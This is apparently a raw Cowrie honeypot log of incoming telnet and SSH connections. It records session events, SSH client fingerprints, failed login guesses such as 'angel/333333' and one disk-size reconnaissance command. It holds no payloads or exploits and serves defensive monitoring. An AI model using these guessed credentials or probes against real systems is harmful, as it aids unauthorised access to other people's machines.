{"eventid":"cowrie.session.closed","duration":34.95109796524048,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.663870Z","src_ip":"209.159.146.115","session":"7c7af8241b0b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.827109Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.830118Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:08.998022Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:09.003428Z","src_ip":"186.13.24.118","session":"09b1cec82155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39198,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded2a29c21a7","protocol":"telnet","message":"New connection: 209.159.146.115:39198 (159.203.135.109:23) [session: ded2a29c21a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:10.621180Z"}
{"eventid":"cowrie.session.closed","duration":35.94381642341614,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:11.707090Z","src_ip":"209.159.146.115","session":"64feed7a4edd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11597228050232,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:12.228911Z","src_ip":"209.159.146.115","session":"a179c6b3d3a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49836,"dst_ip":"159.203.135.109","dst_port":23,"session":"f769c254accf","protocol":"telnet","message":"New connection: 209.159.146.115:49836 (159.203.135.109:23) [session: f769c254accf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:12.581144Z"}
{"eventid":"cowrie.session.closed","duration":31.00457525253296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:13.088682Z","src_ip":"209.159.146.115","session":"73333f6df5f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53154,"dst_ip":"159.203.135.109","dst_port":23,"session":"73dc35610266","protocol":"telnet","message":"New connection: 209.159.146.115:53154 (159.203.135.109:23) [session: 73dc35610266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:13.921285Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54320,"dst_ip":"159.203.135.109","dst_port":23,"session":"732cdb99353b","protocol":"telnet","message":"New connection: 209.159.146.115:54320 (159.203.135.109:23) [session: 732cdb99353b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:14.389212Z"}
{"eventid":"cowrie.session.closed","duration":30.474972009658813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:15.159046Z","src_ip":"209.159.146.115","session":"4d67d463545e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2308504581451416,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:15.811871Z","src_ip":"209.159.146.115","session":"f769c254accf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70138144493103,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:15.980239Z","src_ip":"209.159.146.115","session":"ad49d4309fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34386491775513,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:16.519400Z","src_ip":"209.159.146.115","session":"a0caa892d33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42626,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0ab5031782","protocol":"telnet","message":"New connection: 209.159.146.115:42626 (159.203.135.109:23) [session: cc0ab5031782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:18.114179Z"}
{"eventid":"cowrie.session.closed","duration":33.03150415420532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:18.392863Z","src_ip":"209.159.146.115","session":"1c12bfa98329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52044,"dst_ip":"159.203.135.109","dst_port":23,"session":"0120ba234ef1","protocol":"telnet","message":"New connection: 185.26.126.47:52044 (159.203.135.109:23) [session: 0120ba234ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:19.583661Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55738,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ae155e0ccd","protocol":"telnet","message":"New connection: 209.159.146.115:55738 (159.203.135.109:23) [session: 66ae155e0ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:22.442811Z"}
{"eventid":"cowrie.session.closed","duration":30.980679988861084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:23.174197Z","src_ip":"209.159.146.115","session":"f2004d5bdff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30680322647095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:23.257388Z","src_ip":"209.159.146.115","session":"ac22f6e106b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59834,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a22683eecd5","protocol":"telnet","message":"New connection: 209.159.146.115:59834 (159.203.135.109:23) [session: 8a22683eecd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:23.910763Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60384,"dst_ip":"159.203.135.109","dst_port":23,"session":"78333b8b37f1","protocol":"telnet","message":"New connection: 209.159.146.115:60384 (159.203.135.109:23) [session: 78333b8b37f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:24.175792Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34498,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d21c897434","protocol":"telnet","message":"New connection: 209.159.146.115:34498 (159.203.135.109:23) [session: 43d21c897434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:24.716883Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37360,"dst_ip":"159.203.135.109","dst_port":23,"session":"f729579343af","protocol":"telnet","message":"New connection: 209.159.146.115:37360 (159.203.135.109:23) [session: f729579343af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:25.010170Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37654,"dst_ip":"159.203.135.109","dst_port":23,"session":"83072268490d","protocol":"telnet","message":"New connection: 209.159.146.115:37654 (159.203.135.109:23) [session: 83072268490d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:25.195581Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39086,"dst_ip":"159.203.135.109","dst_port":23,"session":"136fa58c1fc3","protocol":"telnet","message":"New connection: 209.159.146.115:39086 (159.203.135.109:23) [session: 136fa58c1fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:25.581416Z"}
{"eventid":"cowrie.session.closed","duration":32.57885551452637,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:25.936072Z","src_ip":"209.159.146.115","session":"4a64cf232734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26288914680481,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:26.924808Z","src_ip":"209.159.146.115","session":"08bb1374ccf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25699424743652,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:27.679917Z","src_ip":"209.159.146.115","session":"cfba686019a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49794,"dst_ip":"159.203.135.109","dst_port":23,"session":"843dd42f6e52","protocol":"telnet","message":"New connection: 209.159.146.115:49794 (159.203.135.109:23) [session: 843dd42f6e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:28.306427Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49914,"dst_ip":"159.203.135.109","dst_port":23,"session":"602182bc41d4","protocol":"telnet","message":"New connection: 209.159.146.115:49914 (159.203.135.109:23) [session: 602182bc41d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:28.354682Z"}
{"eventid":"cowrie.session.closed","duration":37.40466237068176,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:28.486704Z","src_ip":"209.159.146.115","session":"93953553177f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54688,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb987468a901","protocol":"telnet","message":"New connection: 209.159.146.115:54688 (159.203.135.109:23) [session: bb987468a901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:29.009990Z"}
{"eventid":"cowrie.session.closed","duration":33.66260051727295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:29.155935Z","src_ip":"209.159.146.115","session":"2d5a4c9c6fee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94029211997986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:31.654318Z","src_ip":"209.159.146.115","session":"5470f248267a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37748,"dst_ip":"159.203.135.109","dst_port":23,"session":"549609fb88ce","protocol":"telnet","message":"New connection: 209.159.146.115:37748 (159.203.135.109:23) [session: 549609fb88ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:31.946523Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45466,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a707f1f3d7e","protocol":"telnet","message":"New connection: 209.159.146.115:45466 (159.203.135.109:23) [session: 8a707f1f3d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:32.783149Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45690,"dst_ip":"159.203.135.109","dst_port":23,"session":"994e9fa506e5","protocol":"telnet","message":"New connection: 209.159.146.115:45690 (159.203.135.109:23) [session: 994e9fa506e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:32.881555Z"}
{"eventid":"cowrie.session.closed","duration":32.01241755485535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:34.254942Z","src_ip":"209.159.146.115","session":"db2da55d99bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.87084436416626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:34.263033Z","src_ip":"209.159.146.115","session":"7c52eef3fb5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.091212034225464,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:34.483203Z","src_ip":"209.159.146.115","session":"25c8420875aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08776092529297,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:36.793597Z","src_ip":"209.159.146.115","session":"a4b936024cba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a20faa8a9d","protocol":"telnet","message":"New connection: 209.159.146.115:60884 (159.203.135.109:23) [session: b7a20faa8a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:37.102915Z"}
{"eventid":"cowrie.session.closed","duration":34.615882873535156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:38.388043Z","src_ip":"209.159.146.115","session":"407328482cc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51492,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e99346dbf7a","protocol":"telnet","message":"New connection: 209.159.146.115:51492 (159.203.135.109:23) [session: 5e99346dbf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:40.599198Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46892,"dst_ip":"159.203.135.109","dst_port":22,"session":"2306960295b0","protocol":"ssh","message":"New connection: 159.203.92.129:46892 (159.203.135.109:22) [session: 2306960295b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:43.350972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:43.354898Z","src_ip":"159.203.92.129","session":"2306960295b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:43.358822Z","src_ip":"159.203.92.129","session":"2306960295b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"333333","message":"login attempt [angel/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:43.369473Z","src_ip":"159.203.92.129","session":"2306960295b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.72229313850403,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:43.636569Z","src_ip":"209.159.146.115","session":"2bbeb7d57200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39274,"dst_ip":"159.203.135.109","dst_port":23,"session":"58829f5251da","protocol":"telnet","message":"New connection: 209.159.146.115:39274 (159.203.135.109:23) [session: 58829f5251da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:44.138717Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:44.374783Z","src_ip":"159.203.92.129","session":"2306960295b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08181691169739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:47.002981Z","src_ip":"209.159.146.115","session":"73dc35610266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.651010036468506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:47.272076Z","src_ip":"209.159.146.115","session":"ded2a29c21a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51308,"dst_ip":"159.203.135.109","dst_port":23,"session":"c923a84c33e1","protocol":"telnet","message":"New connection: 209.159.146.115:51308 (159.203.135.109:23) [session: c923a84c33e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:47.757205Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50216,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27aadefeb3e","protocol":"telnet","message":"New connection: 209.159.146.115:50216 (159.203.135.109:23) [session: b27aadefeb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:48.614581Z"}
{"eventid":"cowrie.session.closed","duration":34.731043338775635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:49.120118Z","src_ip":"209.159.146.115","session":"732cdb99353b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57382,"dst_ip":"159.203.135.109","dst_port":23,"session":"02af561556bd","protocol":"telnet","message":"New connection: 209.159.146.115:57382 (159.203.135.109:23) [session: 02af561556bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:49.367028Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57980,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0dfb6273234","protocol":"telnet","message":"New connection: 209.159.146.115:57980 (159.203.135.109:23) [session: a0dfb6273234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:49.472762Z"}
{"eventid":"cowrie.session.closed","duration":35.05945682525635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:53.173515Z","src_ip":"209.159.146.115","session":"cc0ab5031782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45428,"dst_ip":"159.203.135.109","dst_port":23,"session":"268606b46ceb","protocol":"telnet","message":"New connection: 209.159.146.115:45428 (159.203.135.109:23) [session: 268606b46ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:53.612019Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46816,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c3f366f5a06","protocol":"telnet","message":"New connection: 209.159.146.115:46816 (159.203.135.109:23) [session: 6c3f366f5a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:54.014768Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":48944,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26af427eac3","protocol":"ssh","message":"New connection: 157.66.34.121:48944 (159.203.135.109:22) [session: f26af427eac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:54.200550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:54.204049Z","src_ip":"157.66.34.121","session":"f26af427eac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:54.436666Z","src_ip":"157.66.34.121","session":"f26af427eac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47856,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe24809ce727","protocol":"telnet","message":"New connection: 209.159.146.115:47856 (159.203.135.109:23) [session: fe24809ce727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:54.485431Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48530,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ab05fea767c","protocol":"telnet","message":"New connection: 209.159.146.115:48530 (159.203.135.109:23) [session: 1ab05fea767c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:54.815878Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"Password","message":"login attempt [username/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:55.402311Z","src_ip":"157.66.34.121","session":"f26af427eac3","protocol":"ssh"}
